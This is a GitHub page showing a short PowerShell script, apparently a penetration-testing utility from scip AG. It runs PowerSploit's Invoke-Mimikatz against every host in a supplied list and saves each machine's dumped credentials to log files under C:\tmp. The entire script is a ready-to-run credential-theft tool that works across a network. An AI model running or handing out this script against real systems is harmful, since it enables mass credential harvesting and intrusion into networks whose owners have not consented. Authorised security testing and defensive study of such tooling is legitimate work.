-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathInvoke-MimikatzNetwork.ps1
executable file
·59 lines (49 loc) · 1.69 KB
/
Invoke-MimikatzNetwork.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<#
ScipUtilities provides various utility commandlets.
Author: Eleanore Young, Michael Schneider, scip AG
License: MIT
Copyright: 2017 Eleanore Young, Michael Schneider, scip AG
Required Dependencies: None
Optional Dependencies: None
#>
#Requires -Version 5
Set-StrictMode -Version 5
function Invoke-MimikatzNetwork {
<#
.SYNOPSIS
Invoke Mimikatz using the PowerSploit framework over the network.
.PARAMETER HostFile
The path to a list of target hosts.
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory=$true)]
[ValidateScript({Test-Path $_})]
[String]
$HostFile
)
$BasePath = "C:\tmp"
$Timestamp = (Get-Date).ToString("yyyyMd")
$Protocol = "$basePath\protocol-$timestamp.txt"
$Hosts = Get-Content $HostFile
Foreach ($ComputerName in $Hosts) {
$Time = Get-Date -Format G
$StartMessage = "[*] $Time - Connecting to $ComputerName..."
$StartMessage | Tee-Object -Append -FilePath $Protocol
$LogMimikatz = "$BasePath\cred_$ComputerName.log"
Try
{
Invoke-Mimikatz -ComputerName $ComputerName -ErrorAction Stop -ErrorVariable ErrorInvokeMimikatz | Out-File -Encoding utf8 $LogMimikatz
}
Catch
{
$Time = Get-Date -Format G
$ErrorMessage = "[!] $Time - ERROR: $ComputerName - " + $ErrorInvokeMimikatz[1].FullyQualifiedErrorId
$ErrorMessage | Tee-Object -Append -FilePath $Protocol
$ErrorInvokeMimikatz = $null
}
$Time = Get-Date -Format G
$EndMessage = "[*] $Time - $ComputerName done"
$EndMessage | Tee-Object -Append -FilePath $Protocol
}
}